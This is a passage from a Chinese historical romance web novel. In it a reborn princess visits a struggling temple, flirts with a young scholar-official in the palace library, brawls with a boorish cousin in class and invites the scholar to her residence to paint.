从前她去慈恩寺只为母后父皇或是哥哥祈福,而今世事无常,她也为自己祈福起来,求得神明庇佑。
重活一世她更加惜命。
待香柱插到香炉,香火袅袅缭绕升腾在庙宇里,她幽幽问:“那俏郎君来做什么的?”
那指引她来寺的青年和尚没启齿,反倒是身旁的小沙弥眉开眼笑地开了口:“回女施主的话,是来添香火钱,为父母祈福的。”
“那我用不用祈福呀?”她心不在焉地一问。
小沙弥连忙伸了脖子问:“女施主要添多少火钱呢?”
姜宝来本在望着殿中的神像,听罢回过头望向那眉清目秀的小沙弥。
一身僧袍已浆洗的发白,约有六七岁的年纪却对答如流。只不过头大身小,骨瘦如柴。
她静静看小沙弥,但身后多年伺候自家公主的侍女们明白公主是明显愣住了。
许久她问:“你吃不饱饭吗?”
小沙弥闻言挠了挠自己的光头,似有些赧然,没想着这位姑娘家这般耿直问了出来。
“寺院年久失修,香客寥寥。自老住持圆寂后,许多香客认为青龙寺不灵验了,都不来了,宁可去郊外寺。若不是空山师父常常去山下化缘,还有方才离去的香客时常来寺中添香火钱,青龙寺的这些僧人早就封闭了。”
姜宝来听着小沙弥的话,蓦地想起那日在回长乐宫的路上看见程晚在路边喂食流浪无处可去的幼犬。
还是个有爱心的。
不过说来也有些可笑,这还是上辈子的事了。
她回过神问小沙弥:“哪个是空山师父?”
小沙弥抬头瞧了瞧殿里一动不动地青年僧人,合掌道:“阿尼陀佛。女施主,这便是寺中的新住持空山师父了。”
直到这时,那青年僧人才答话,有理有节地垂眸作礼:“女施主为有福之人,心性豁达,自吉人天相。随遇而安,过去、现在、未来,前如过眼云烟,后飘渺未知。唯有当下,安住当下。终有一日,花开时,遍野芳香。”
姜宝来盯住这法号唤空山青年僧人,一时半晌没说话,一直在殿外随侍的秋月也一时捉摸不透。良久,又见公主忽然一笑,随后摊开了手掌:“雾萝!”
雾萝立时上前。
“添上香火钱。”
“还有告诉大家伙这座青龙寺,今后我罩的!”
覃楹供灯后返回寺中站在一树的菩提下呆了一瞬。
姜宝来出了殿中正巧看到这一幕,她走上拿扇轻轻拍了拍正怔怔抬头望着那一树菩提的覃楹:“何故怔怔?”
覃楹回神:“婢子在问佛,圣者何以在菩提树下彻悟成佛。”
姜宝来冷不防听到她突如其来一句,怔愣一瞬很快又拿着扇尖朝她挥去:“我可不是来带你出家的。快去殿中再上炷香为你阿娘祈福我们便回去了。我困了,瞌睡虫又来找我了。”说着姜宝来懒洋洋地朝寺外走去。
雾萝见公主朝寺外走连忙跟上,一抬头余光又见原本刚还在殿外静立的空山住持已不见了踪影。
雾萝疑惑,追上前问道:“公主,那这青龙寺……”
姜宝来瞪了瞪身旁的雾萝:“不开窍的丫头啊!平日里的机灵劲儿去哪了?不是最爱买话本子嘛?多买一些,休你半天假,去玩吧。”
覃楹见雾萝嘴唇微张愣在原地,上前笑道:“公主今日青龙寺上香一事许多人无从知晓,但经府邸的人一传,信众抑或世家贵妇们很快就知道了这青龙寺得了公主的青睐,很
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快就会光顾。要不了多日,寺间就会恢复素常运作。”
雾萝顿时醍醐灌顶,一跺脚又忙追上了公主:“公主!公主!这是公差,公主得赏婢子银子买书啊!顺便婢子再去西市给公主打来一壶西域好酒……”
-
静夜沉沉。
姜宝来饱眠了一觉用了晚食也没叫侍女们随侍,只带了多吉守在门外,自己则钻进了藏书阁偌大的书海里翻找书籍去了。
她想找一找书阁里可有有关于前世今生的记载或是药典,但近半个时辰过去了仍然一无所获。
姜宝来双手捧着一本书在摇椅上无精打采地翻翻合合,不知什么时候竟睡了过去。
梦里那玉面郎君站在她面前直唤她:公主!公主!
她睁着一双如灌了铅的眼又想抬手去拽他。奈何四肢也软绵绵的好似不听自己使唤一般。
于是她开始口齿不清的叫着程子煦,奈何那人似听到她说话一般又俯身靠了过来,一手已穿过了她的腿窝打横将她抱起。
“公主,臣服侍你去榻上歇吧。”
姜宝来咬牙切齿,看着这忽然贴上来的‘登徒子’,这是她的藏书阁,哪来的床榻。气哼哼拽住他的衣襟道:“程子煦,你是怎么进来的。你!好大的胆子!”
谁知那人不恼反笑,仍然满面和煦地朝她看来:“臣日思公主夜不能寐,只得入公主的清梦与公主相见。”
姜宝来望着与白日里判若两人的程晚,心想着狐狸皮她还未揭自己就掉了下来,说着不着调的话,正想一手剥了他的玉冠,谁知双手再次不听使唤揪住了他的衣襟,嘴巴又不听使唤说:“程子煦,你的嘴巴看样子很好亲,凑近些让我尝一尝。”
双唇刚要触及到那片温软,藏书阁内的灯却灭了。姜宝来猛地一惊睁开了眼,立时从摇椅起身顿觉浑身血液上涌,紧接着眼前一黑又险些头坠于地上。
门前的多吉听见动静登时闯门来扶。
姜宝来用力抓住多吉的手臂好半晌,看着空荡荡的藏书阁那里又有他程子煦的影子,眨眨眼问多吉:“我这是睡着了?”
多吉带着慈蔼、和善的笑意说:“小公主可是做噩梦了?”
姜宝来随口说:“哦。比噩梦还可怕。”
心里想的却是十八年来唯一一次与异性接触就是两年前秋猎她险些坠马,魏翊扬以身作盾将她护在了怀里。但当时她没觉得有什么,怎么这次就有些不一样呢?
姜宝来一手捂向砰砰在跳的心头,想起雾萝所说那人如今在嵩文馆担任校书郎一职。
她已经有好些日子没去嵩文馆听课了。
崇文馆为东宫主办,一直以来在教导皇室宗亲与世家贵族子弟。她与父皇那辈几个叔父的子女自幼起便在此听馆内的学士讲读,而哥哥闲暇时也时常会去与学士对弈,顺便监督她们的课业。
她想寻的这些古籍或许那里有呢?
姜宝来蓦地把眼一眯,当即下了决定,明日她要回学馆温书!
8. 睫毛精
东宫里姜朔玉正在用朝食,宫娥们正在一旁布菜,宦官茂才提着一盒子金乳酥进了殿朝太子走去。
茂才笑道:“殿下,是公主府的覃楹姑娘送来的,说是一大早公主亲自揉的面。”
姜朔玉放下了碗箸,正在布菜的宫娥们立时知趣退下。虽朝食已用得差不多了,他仍然享用了一块点心,细嚼慢咽起来。
片刻,茂才走近低语交待一番。
“怎么今日有兴致去学馆了?”他眉眼间尽是温润,柔和问道。
茂才从几上端了一盏茶递过,不确定道:“昨日公主去了青龙寺遇见了程郎君,前些时日公主身边的多吉也在查这程郎君,或许是因为他?”
姜朔玉接了盏嘴角仍然挂着笑意,茂才见太子认真地听着,起的话头便没有停下来:“另姚坤今早带着他那一双儿女去了公主府向公主请罪。”
御苑里的前因后果姜朔玉早已清楚,茂才见太子吃下一口茶又陷入一番沉思,许久开口问:“杜氏那里如何了?长风还在查盗贼的事?”
茂才道:“按着殿下的计划,寺里的人本是今日下山撞到杜氏的马车。但昨日公主去了青龙寺今日坊间便传了开,许多信众都特意到那里上香祈福。杜氏一向信佛,听闻那里的僧人食不果腹,还有六七岁的孩子,今晨天还未亮便带着家中仆人去青龙寺上香。”
“至于魏郎君,金吾卫的赵将军下了令,说那伙盗贼最后出现在开化坊,那坊里住着的皆是达官权贵若是有个闪失自是不好交待。为此魏郎君已经几日未归家了。”
姜朔玉手中的杯盖咣地一声落到了茶盏的杯沿上。茂才再抬眼瞧,太子的面上却仍是一副云淡风轻:“一条不知是为谁效力的狗。那些盗贼找个由子处置了便是,让长风归家歇一歇。至于这赵将军背后的人是否夜能安寝孤就不知了。但孤总能睡得个安稳觉。”
茂才听罢心中一酸,殿下这些年时常夜里辗转反侧,咳嗽加重。多少年没睡得一个安稳觉。
很快他又听太子说:“茂才,十八年了,之恒叔父还在黄土下不得安眠。”
茂才心中酸楚,眼底也盛满了悲色,开口道:“既如此,殿下定要好好的。”
姜朔玉和煦笑了笑,起身走到窗下以拳抵唇轻咳了两声:“孤就这一个妹妹,也只剩这一个妹妹。骨肉情深,孤定会保护好她,想让她做个快快乐乐、肆无忌惮的公主。只是孤觉得,近来乐宁自那日参宴后有些不同以往。”
茂才思忖了一会儿,说:“殿下,不若召来多吉公公?”
姜朔玉站在窗下许久没有开口,似在深思熟虑,过了半晌茂才见他朝殿外走去,边走边道:“不必了。多吉对乐宁最是忠心不过,孤很放心,既如此从他那里想必也问不出什么。”
茂才望着太子瘦削的背影,忙一手抓起椅上披风疾步跟上。
-
公主已多日未来崇文馆听课,因此馆内的学士并不知晓公主今日会来。直到公主的伴读杨文君等人来学馆才知今日公主会回来温书,却不见其人。
朗朗书声穿透在馆内回廊,姜宝来并未直接去讲堂而是绕路去了藏书阁。邵典书正巧推门出来瞧见来人,忙迎了过来辑礼:“不知公主前来,公主可是要入阁查阅诗集?”
姜宝来点点头,邵典书见此忙请了她入阁,因平日里性子开朗,做事细心,又是个热心肠在馆内人缘极好。又见是帝家公主罕见来了他入职的官署,自然热络道:“阁内藏书海量,近日又增添了不少书籍,不知公主可要查阅哪些书籍?可要微臣为公主效劳?或是有馆内他人陪同?”
姜宝来见他年约二十六七的年纪,生得一张四方脸,与胞兄年纪相仿,发间却生了许多白发,若不是顶着一张还算年轻的面相,远远看去还以为是个小老头。
她正想说要阁里生得最白净最俏的那个,话到嘴边却忍了回去,一手挥着团扇似漫不经心道:“不必了,我看书的时候不喜有人打扰,你先退下吧。”
邵典书闻言又忙点了头,依言离去。没成想,迈出的一脚还未落下,又听见身后公主问:“你们在藏书阁做事很幸苦吗?”
邵典书一时摸不着头脑,茫然了片刻,转过身来如实回道:“回公主,不幸苦!不幸苦!”
很快,又听见公主道了一声:“哦。你退下吧。”
姜宝来带着多吉、覃楹雾萝两个走在廊内,因着今日来馆内听课她并没有带着府邸浩浩荡荡一行人。
正值七月盛夏,天气炎热,姜宝来从公主府出来时刚沐浴了一番,又换上了一身纱裙,喷了香露。
竹影映窗而进投下一片斑驳的光亮,阁内程晚正手握笔,垂着眸,翻阅书案上的一摞册本,似乎在修正书籍。
阳光洒下映在他的面容上,长睫垂落一眨一眨,眉眼间尽是温和。
姜宝来示意多吉他们在外寻个阴凉处等候,转头径自走了进去。
本是书香四溢的房间,忽而涌入一缕优雅的清香,程晚蓦地抬起了头。
一个身着嫩黄薄纱的女郎已倾身而过,一双手撑在了他的书案上。
女郎轻启朱唇,声音如清泉般泠泠:“睫毛精。”
“你有没有思我、念我。”
程晚一时怔愣,手中的狼毫笔,笔尖的墨汁险些滴落在纸上。
姜宝来一手握住他的手背提醒他,又咯咯笑起:“看样子是真的有在想我。”
程晚起身正要辑礼,却见她已施施然朝外走去,并道:“我口渴了,想喝乌梅饮。若是这儿没有呢,信阳毛尖或是武夷岩茶也行。”
“不为难你。”
“我最是‘怜香惜玉’了。”
姜宝来头也不回地去了藏书阁,一手摸着下巴凝视着如邵典书所说,一眼望不到头的二层楼高的书架。
底层多是放着一些常用书籍,而上层放置的皆是孤本。
太多了,太多了,这让她有些头疼。
但姜宝来也没闲着,一手拽着衣裙便登上了阁内木梯三节,身后忽然想起一声沉稳有力地脚步声。
姜宝来似未料到,回过头突地脚下一滑。程晚情急之下快步上前,伸出一手扶住了她,见姜宝来在木梯上站稳,又蓦地松了开。
程晚又忙退开一步,温声赔罪道:“臣来时恐惊扰公主,走路已经发出了声响。多有得罪公主。”
姜宝来咬牙笑:“我耳力不好行不行?”又见他两手空空,问:“不是让你去取茶了?你怎么这么快回来了?”
程晚道:“昨日馆内招了老鼠,邵典书说有一只跑到了阁内还未抓到,恐公主殿下受惊,臣特来告知。”
姜宝来道:“哦。肯定是我三叔父家的二堂弟在讲堂上偷吃招的。”说着她又道:“我不怕老鼠。”
她抬起眸见木梯下的程晚朝她望了过来,再补充了一句:“我怕人。‘人心险恶’的那个恶人。”
程晚满面温润地看着她:“公主自是无畏勇敢。”
姜宝来轻哼了一声又抬起头望着架上的书籍,随口问:“既是人心险恶,程大人有没有什么见解?”
程晚默然一瞬,闻声道:“譬如佛口蛇心的世人,譬如忠奸难辨?”
姜宝来已手持上一本书籍,闻言回过头看他,程晚垂眸道:“臣这就去为公主取茶来。”
“等等。”姜宝来突然叫住了她。
程晚抬起头。
“突然间没心思吃茶了。”
程晚嘴角牵起一抹温柔地笑:“那公主需要阅览一些哪种书籍?臣去给公主取来。”<
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姜宝来摇头:“不成,此乃机密,我要自己看看。待会用到你我自会告诉你。”
说着,她果真认真翻阅起书架上琳琅满目的海量书籍,放下一本归位又很快拿出一本。
程晚双手扶着木梯的边缘,看着她翻阅的多是《神农百草经》之类的药典,不时又踮起脚张望着在书架上搜寻,他垂下眸,唇角渐渐泛起一抹笑意。
午后炽热的阳光从窗棂而过洒在她的周身,如明珠亦如夜悬的明月。
姜宝来翻了半晌一时没有头绪。她想知道她是服下哪种毒而亡,还有为何重活一世又恰巧回到了毒发身亡的前一天。就好似冥冥中注定让她回到那一天,让她这一世可安好的避祸而存。
阁内一时静悄悄,无声无息。
她回过过,望向这个前世今生屡次三番出现的人。
姜宝来扬唇一笑:“程子煦,你在想什么?”
夏光不知何时已穿梭一过,折射在了二人面前,炽阳的光辉将她们团团笼罩住。
程晚在那抹柔光里与她对视。
姜宝来再道:“程子煦,我今日美么?我出门喷了香露又寻了平日里不怎么穿的衣裙。是人好看还是衣好看抑或我头上的花钿宝石美,或是我的头发呢?”
姜宝来用手轻抚向自己一头又长又黑,如锦缎般顺滑、柔软的发,并道:“我最宝贵我这一头又黑又亮的头发了。”
程晚忽然笑了出来:“世间万物不及公主。”
“人比花娇。”
姜宝来一时没了声响,捧着一本书籍,一手提着裙走下了木梯。
程晚不知她在想些什么。
但很快听见她道:““程大人这般嘴甜温柔还心善,那午后下了值在廊下提食盒等待的姑娘也能见到么?”
程晚一怔,很快道:“从未。”
姜宝来笑吟吟:“你急什么。”
“不过,目下我又想喝冰镇的乌梅饮了。”
程晚说:“阁内没有,不过公主时常去讲堂内听课或是会备下平日里公主喜爱的吃食,臣可前去询问,若馆内不曾有公主喜爱的乌梅饮,臣也可去坊中给公主买来。”
程晚见她不语,又见她已下了木梯便要辑礼告退。姜宝来见他竟真的要去寻她一时兴起想喝的乌梅饮。上前一手按住了已敞开小半的门扉,并将他笼在了自己的臂间。
犹如青龙寺半山腰古亭内的四目相对,分毫的距离,她已将程晚牢固抵在了门扉之上。
姜宝来看着他那张干净澄澈的面容,说:“程谦谦,我今日来倒不是为了这道梅子汤,是为了寻一些书籍,比如怪力乱神?”
程晚微微一笑,也正是这一笑嘴角的一双小梨涡恰到好处的映入了姜宝来的眼帘。
门外的绿荫枝头上鸟儿一声鸣叫,转瞬又扑腾着飞走了。
但姜宝来却觉得那鸟儿似在心头落下了一根羽毛,飘来飘去,飘得她心痒痒。又听程晚说:“公主,崇文馆内的藏书内为皇家书院……”
姜宝来将话接了过去:“我自是知晓宫中禁止有妖书,即使妖言惑众者也要绞刑或杖责流放,那这鬼神之言程大人如何看?”
程晚思量片刻:“世间之大,有人有神明亦会有妖。”
姜宝来笑:“也有小人,卑鄙无耻的小人,狗贼!”
程晚看她明媚的面容上转身一片愠意,未等答话,又听她道:“程谦谦我看你也像个妖!神出鬼没的妖!”
说着,姜宝来将手里的书籍朝他手中扔去,一手打开了门,临迈出屋子忽然又退了回来,明眸转动:“程谦谦,我们的渊源与纠葛是不是天注定呢?相遇既是缘,不若改日去我府邸给我画个镇宅的门神吧?隔日不如撞日就……明日,明日傍晚申时一刻吧。”
9. 崇文馆风波
姜宝来从藏书阁走出便径自去了讲堂听课,却没注意到邵典书一蹦一跳进了阁内,寻到目标满眼激动,一手抓住了程晚的衣袖:“天爷,程老弟,你是何时得了公主青睐?原来这公主殿下是为你来的。”
程晚面带微笑将邵典书的手一点点拿了开,温声问:“典书大人,此话何意?”
邵典书道:“公主自幼随太子殿下来馆内读书,但来这藏书阁的日子可屈指可数。今日公主大驾光临却不要人随侍。”说着邵典书朝着程晚挤眉弄眼一番:“方才我可瞧见了,公主将你按在门前轻啄了上去。”
程晚正想回到阁内将方才还未待校正完的书籍校正好,闻言步子一顿,奇怪道:“典书大人如何瞧见的?”
邵典书哈哈笑:“那槛窗透着光,我眼力好瞧得清清楚楚,还能有假?程老弟,他日若是尚得公主……”
“没有。”程晚忽然打断了他。
邵典书一头雾水。
程晚带着温润的笑意:“没有的事。”
“公主皎皎如明月,典书大人当小心隔墙有耳。”
邵典书闻言瞧了瞧四周,见庭院幽幽除他二人外再无一人,也知这个新科进士是何等的温润性子,从初春里到目下,几个月的时间,若用一句话来说,可谓是如冰清玉洁般的一个人,他们共事多月,邵典书觉得做不得假。
有一日因与僚友吃多了酒,糊里糊涂被带去了北里那花柳街巷,待闻到那满屋的脂粉味他一个醒酒连跌带爬跑了出去,内子罚他饿着肚子一日米水未进,这么着想起了他这位不同寻常的僚友蹭了一顿食。
程晚亲自烤了肉给他吃,邵典书鼻涕一把泪一把说个不停,很是聒噪。一抬头见到那僚友仍如白日里在阁内做事般,垂眸认真翻烤着瓦片上滋滋冒油的肉,仿佛手中的肉就是他需修正的书籍。
他问:“程老弟,你不吃?”
程晚情绪很稳定的说:“我吃过了。”
邵典书:“那你接着听我说?”
程晚:“好。我有在认真听。”
邵典书一顿酒足饭饱摸了摸肚子去了附近消食,当然这“酒”是清水替代的,延寿坊程家是是一滴酒水也没有,一个酒瓶子也寻不到。
邵典书看着喂食流浪狗儿的程晚,有些纳罕,在旁唠起了家常:“程老弟可是一个人住在长安?”
程晚点头。
邵典书狐疑,难不成家中没有其他人了,是个孤儿?放才在他家中蹭食,可未曾见到除他之外还有人的痕迹。便是屋内器具,被褥床板也是干干净净,板板正正的。
果然又听程晚温声道:“程某自幼失怙,阿耶自程某幼时还未知事便离开了,阿娘整日以泪洗面没过多久也远去了。后来祖父将我带到成人,前年冬日也走了。”
那日,邵典书望着月夜下蹲在路边给狗儿喂食的程晚,自幼经失双亲之苦,成人又逢祖父离世,但从程晚的话语里仿佛在说着一件岁月静好般的事。
又宛如一个生存在兵荒马乱里,却极为时光安宁的人。
邵典书为此嗟叹:“程老弟才华出众,他日定是雄才大略之人。但这长安城,牛鬼蛇神太多了……可并非一个好去处啊!”
程晚起身:“长安巍巍盛世,既有牛鬼神蛇亦会有忠臣良将、仁人志士。程某,无畏。”
-
学馆内,年方六旬的蒋学士一手摸着山羊须正在堂前讲着棋道之妙,以备一会儿公主与皇室宗亲子弟等人的棋艺考核。
“所谓棋着一错,满盘皆输……”蒋学士正在情绪高涨说着棋中奥秘,冷不防有人进了讲堂拉他袖角,原是馆内的直学士,他的二把手。
直学士在蒋学士耳边私语一番,很快二人一同离开了讲堂。
棋艺考核还未开始,堂内的学生们可以随意摆弄棋局。顾绮坐在姜宝来对面,见她饶有兴致地一人分饰两角落了黑子又拾了白子,一番沉浸式搏杀。
皇室宗亲里晋王的儿子晋王世子素来与鸿胪寺卿沈川的弟弟沈琅交好,晋王世子年方十六,沈琅年方十四,还是个少年。晋王世子又自幼因身份尊贵倨傲、自负,又是个心直口快的性子,见着蒋学士离去,回头笑嘻嘻问姜宝来:“公主堂姐怎么今日有兴致来学馆了?不若堂弟与堂姐下一盘棋如何?”
姜宝来头也没抬,在自己‘杀’自己的路上一直未停:“谁跟你下。”
晋王世子见姜宝来正眼不给自己一个,忽觉自讨了无趣便凑到沈琅面前说起今日坊间的传闻。
“沈琅,你有没有听过今日坊里的风声?说那日在开化坊冲出来的疯子是因为食了五石散的缘故?”
沈琅伸长了脖子朝堂外望了望,没瞧到蒋学士的身影才放下了心来:“听着了,世子殿下。不过这五石散自古以来虽贻害无穷,但还是有人服用,有什么稀奇的?为何这几日坊间传的那么悬乎?”
晋王世子见有人问起自己‘学问’,美滋滋扬了扬下巴,心道年纪小就是不济事,暂且充当了沈琅的夫子,上前一步低声道:“你没听说当年雪岭食婴一事?近日坊间可有人传这疯乞丐此举与当年苏祈安的行径如出一辙?说这苏祈安当日也是服了五石散才犯下的此等滔天罪恶?若真如此,那当年淮南王又为何认下这罪行?岂不是自相矛盾?”
说着晋王世子一声讥笑,嘲弄道:“依我看定是当年淮南王的那些旧部在暗中散播此事,为他们当年的主子正名。就如蒋学士言所谓‘棋着一错,满盘皆输’,这淮南王裴璟书可不就是因为当年的辽东一役,错走了这一步,才落得个满盘皆输的下场?”
沈琅瞪大了眼睛,晋王世子见他听得认真又道:“不过话说回来,淮南王当年身为皇祖父义子,年纪轻轻手握重兵,后来威望压主就连阿耶也自是不放在眼里的,这般狂妄的人也没准是老天看不过去替朝廷除了这个后日佞臣。”
晋王世子说的兴致勃勃,面红耳赤,起了话头便没有歇了的意思,看见沈琅又想起前几日在酒楼瞧见了他胞兄沈川一事。
晋王世子俯身过去,很是好奇问:“我说沈琅,你哥哥沈川那腿脚落下的毛病治不好了?”
沈琅闻言忽地垂下了眸,又摇了摇头。
晋王世子见他没精打采的样子,又低声问:“我听说你那嫂嫂前几日面上挂了彩?被你哥哥伤得?”
沈琅听罢又抬起了头却抿着嘴巴不语。
但晋王世子却觉知道了沈家羞于启齿的事儿,哈哈一笑,笑个不停,似完全忘记了目下在堂内,还有其余宗族子弟与世家贵女:“不是我说,既然惹了沈川兄不快休掉便是。自古以来尊师重道如此、这孝嘛也是如此。”
“孝经有云:夫孝,天之经也,地之义也,民之行也……”【1】
“这夫纲不振同理,都是一回事儿。沈川兄若治家不严,一个妇人都制不住,岂不是有失我们大男人的威风。沈琅,你说是不是……”
杨文君气得浑身发抖,刚要站起身来诘问晋王世子,谁料有人比她先一步有了动作。
“狗屁的同理!”姜宝来本一手握着棋罐,一手执着棋子在
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专心下棋,听见晋王世子絮絮叨叨说个不停时已经皱起了眉头。
直到晋王世子亢奋地说出最后一句时,姜宝来突然摔了手中棋子,随后提着裙摆站起身一脚迈上了棋盘,一手揪住了他的发冠朝后拽去。
晋王世子虽年纪比她小上两岁,但个头这些年却蹭蹭朝上长,虽只有十六的年纪却高了姜宝来一头。
因此,姜宝来怕抓不住他,气恼之下便登上了棋盘。
晋王世子被这突来的变故吓得呆在了原地,还未看清身后的人,冷不防又被拽了头发朝后仰去,“啊”的一声叫了出来。
他结巴喊道:“堂姐,公主堂姐,快松开我,这跟你有什么干系?”
姜宝来笑吟吟道:“跟我有什么干系?”
“还同不同理了?来啊,让我看看你这威风是怎么耍的?”
晋王世子没想到姜宝来揪了他的发冠还不算,还一臂圈在了他的脖子上。他只觉喉咙被紧紧压迫住令他喘不过气来。
顾绮与杨文君在旁吓得花容失色,左右上前去拉姜宝来,口中直道:“公主……公主……”
但只有她们心里清楚,她们并未真的去拉公主,这个晋王世子她们早看不过眼了,前些时日在来学馆的路上还唐突了顾绮。
姚芳好面上仍然蒙着当日参宴的那面轻纱,见此情景突地吓得躲在了一处,瑟瑟发抖。
至于晋王世子那边,沈琅无法只得拽着他抬起的小腿往回用力拉拽,其余的世家子弟与皇室宗族后裔则有人置身事外,有人哈哈大笑。
晋王世子被沈琅这一拽险些一命呜呼,缓过神来用力拽了他一脚回头对姜宝来道:“堂姐,堂姐饶命,我还当……当是什么事儿呢!这辽东一役发生的事儿也与你没干系啊!堂姐息怒,弟弟我说到兴头上一时忘了沈川的夫人是太子阿兄的老师,杨太傅的孙女了。”
姜宝来面上仍然是笑吟吟地:“与我没干系,难道与你有干系?淮南王在辽东打仗的时候,你还没投胎到你阿娘娘胎里呢!你个长舌鬼!”
晋王世子见她圈在自己脖子上的一臂越来越用力,眼珠滴溜溜一转,找准了机会立时抓起一旁棋盘上散落的棋子朝姜宝来扬了过去。
立在廊下的多吉比覃楹、雾萝两个先了一步冲入讲堂,手一挥拂尘扬在半空的棋子悉数又朝着晋王世子而去。
而姜宝来也早已看出了他的小动作,回身接过顾绮递来的棋罐就朝着他抛了过去。
晋王世子连蹦带跳在原地躲闪,但姜宝来犹不解气又抓了旁桌的棋子用力朝他掷过。谁料晋王世子一个躲闪,一颗棋子越过了他径直打在了突然从讲堂外而来的一人眉心上。
堂内的众人看见来人,纷纷道:“太子殿下——”
原是姜朔玉知胞妹回了学馆温书,今日东宫无事便来了崇文馆一趟。瞧见蒋学士正在堂内讲课便去了藏书阁召见了初任官职的校书郎程晚。
姜朔玉在阁内吃了一盏茶,这才在程晚的陪同下来了学堂,却听见了晋王世子的一番“言论”。
甚至在姜宝来与晋王世子打起架来,姜朔玉也没有立时出面。
程晚立在一旁听他说:“她不会吃亏。”
姜宝来看见来人是胞兄,又回眸朝着被棋子砸中的程晚看去。眉心早已红起了一块,那棋子是由玉石制成,平日里在手心里把玩倒是没什么,但刚才姜宝来是使了力掷出去的。
她快步上前,盯着程晚瞧了一瞬,下意识一手摸了上去:“哎呀——”
“没破相吧?”
10. 画门神
姜朔玉冷不防听到胞妹这一句话,忽间喉间发痒没忍住咳了咳。
顾绮与杨文君在后也吃了一惊,要知道公主这些年可是向来不近男色的。
程晚刚要开口耳畔却闻一声“猪嚎”,晋王世子走了过来躲在了姜朔玉身后,以为这个一身是胆的公主堂姐还要找他算账,谁想姜宝来看也没看他一眼,一双眼专注在了那青年身上。
他认得此人,春日里的曲江宴上,那位新科探花郎。刚到弱冠之年,年纪轻轻竟从寒门士子一跃跃到了崇文馆成了校书郎。虽是个九品小官,可这探花郎是太子亲自举荐的,前程远大。
只是怎么又得了他堂姐青睐呢?
晋王世子还没想明白,姜朔玉已开了口,朝在侧的蒋学士道:“看样子今日这棋艺考核不成了,孤有些头疼就不多留在这儿了。”
蒋学士见太子果然面色有些苍白忙请出了堂。至于今日的棋艺考核前的风波,一个是君主的幼女、帝家的掌上明珠。一个是晋王的亲儿子、嫡长子,他自然哪个都说不得。但若能说得,那也是晋王世子这个顽劣小儿有错在先,毕竟小公主是他看着长大的。
方才他得知太子前来崇文馆便出了讲堂相迎,也就是一盏茶的工夫,堂内就打了起来。
姜宝来看着蒋学士下巴的一缕山羊须被他吹得一翘再一翘,咯咯笑出了声。
蒋学士见此又吹胡子瞪眼一番。
姜宝来与姜朔玉相继出了讲堂,程晚走在最后看着兄妹两个在庭院里你一言我一语,却都是软玉温言。
姜朔玉问:“今日有没有好好吃朝食?”
姜宝来道:“吃了。”
“哥哥有没有好好吃药?”
“冬雪送去的金乳酥好不好吃?”
姜朔玉一一笑着回答着,说到最后他朝不远处静立留给他们兄妹空间说话的程晚招招手。
程晚上前辑礼。
姜朔玉温声道:“让程大人看笑话了。”
程晚闻言笑了起来:“公主坦率自然,好生可爱。”
姜宝来听程晚这般说,蓦地眉梢一扬,眼眸弯弯:“程子煦,你说我可爱?”
姜朔玉在旁又咳了几声,唤了一声“乐宁。”
姜宝来却不以为然,眨眨眼道:“这程大人可是哥哥举荐来此担任校书郎的?”
“既如此,是哥哥的人,那不就是妹妹的人么。”
姜朔玉:“……”
-
翌日,姜宝来刚刚食过午食在罗汉床上小憩,覃楹与雾萝两个在殿外静侍。
这瞌睡来得快,去得也快,姜宝来又梦到了那日在自己的长乐宫毒发身亡。
她抬眸问:“什么时辰了?”
覃楹见公主懒洋洋地倚在床上,回道:“公主,快过未时了。”又见她兴致不高,问:“公主可要用些点心?”
姜宝来道:“点一炷安神香吧。”
覃楹很快去点了香,雾萝又倒了一盏茶过去给她润口。
姜宝来接过茶盏在手中晃悠了好半晌也没喝,随后雾萝又见她从床上起来走到了凉台上抱起了酒壶大饮了一口。
近日无论是宫中还是世家并没有宴会举行,重活一世上她每次出府都要带着多吉,本以为这贼子暗的不行就会来明的,可这些时日来却相安无事。
前几日她甚至还想着不若办个劳什子宴将当日御苑参宴的那些人都拢进她的长乐宫,找个由头来一个抓一个,严刑拷打。
父皇宠她,她自是有一万个理由,但她还有一母同胞的兄长,有些事发生了这些人并不会拿她如何,但那一把把带着阴谋的刀都会飞向东宫。
覃楹雾萝两个又轻声退了出去,二人站在檐下,雾萝问:“公主近日怎么了?自打那日御苑回来便有些魂不守舍的,要不要改日再去寺庙拜一拜?”
覃楹回头朝屋子里看了看,又见公主在凉台上还没坐一会起了身朝浴堂走去。
又听公主悠悠道:“晚间有客人上门备上晚膳吧。”
“……饮食要清爽配得上他的清贵,另外备上笔墨纸砚。”
侍女们目露疑惑,覃楹却垂眸笑了笑。
浴堂里覃楹提着一篮子花瓣抛洒在了足能容纳十余人的浴桶里。
姜宝来卸了鬓间最后一支发钗,正要抬足下了浴桶,余光看见不远处坐落的一面落地青铜镜。
从前沐浴后她最喜欢在镜子前梳她的一头秀发,乐此不疲,也不让侍女打下手。
后来她却在另一面青铜镜里看见了自己死前的惨状。
“撤走吧。”姜宝来说。
覃楹闻言放下了竹篮有些疑惑,但也没多问,与其余侍女们一同将它撤了出去。
姜宝来舒舒服服泡了个澡,没一会儿雾萝推门进来,见公主满面惬意闭着眼,以为是睡着了,轻声对覃楹道:“覃楹姐姐,贵客来了。”
姜宝来猝然开口:“什么时辰了?”
雾萝道:“回公主,申时一刻。”
姜宝来睁开了眼,秀眉一挑,有些诧异。怎的这般准时?
她今日没用西域进贡的茵墀香而是用了蔷薇香露,又重新换上了一身罗衣,因半散着发也未戴平日里满头的珠钗。
姜宝来坐在了凉台上,一手轻摇着团扇,嗅着一池荷香的清甜淡雅。
程晚被多吉引进了长乐宫,又到了公主的闺阁,本是温润得体的举止,在看见凉台前的屋檐下那带有“无关风月”四个大字的匾额时忽地垂眸一笑。
程晚朝着那扇屏风,五彩琉璃珠帘后的女郎辑礼。
姜宝来却在这时微微蹙起了眉:“哪里来的屏风?”
覃楹看向立在一旁的秋月,雾萝又看向刚刚在殿内的侍女们,她道:“婢子不知道啊!”
“撤走。”
女郎的声音轻浅响起。
很快程晚又听她道:“程子煦,走近些。”
“到我面前来。”
程晚迟疑一瞬。
姜宝来似早已料到,笑盈盈:“那我去抓你了?”
程晚顿时抬步掀了珠帘走进了凉台。
凉台上放着一张小书桌,桌上放着笔墨纸砚,还有一壶冰镇的清酒。
程晚心道看来是真让他画门神?
谁料姜宝来说:“程子煦,我不想画门神了,画一张你吧。”
话刚落下,一缕淡淡的香气传到了她的鼻子里。
不是花香,是饭香。
她问:“你吃了什么?”
程晚道:“是西市摊贩老伯售卖的馎饦。”
但他今日已沐浴过重新换了衣裳才如约前来的公主府。
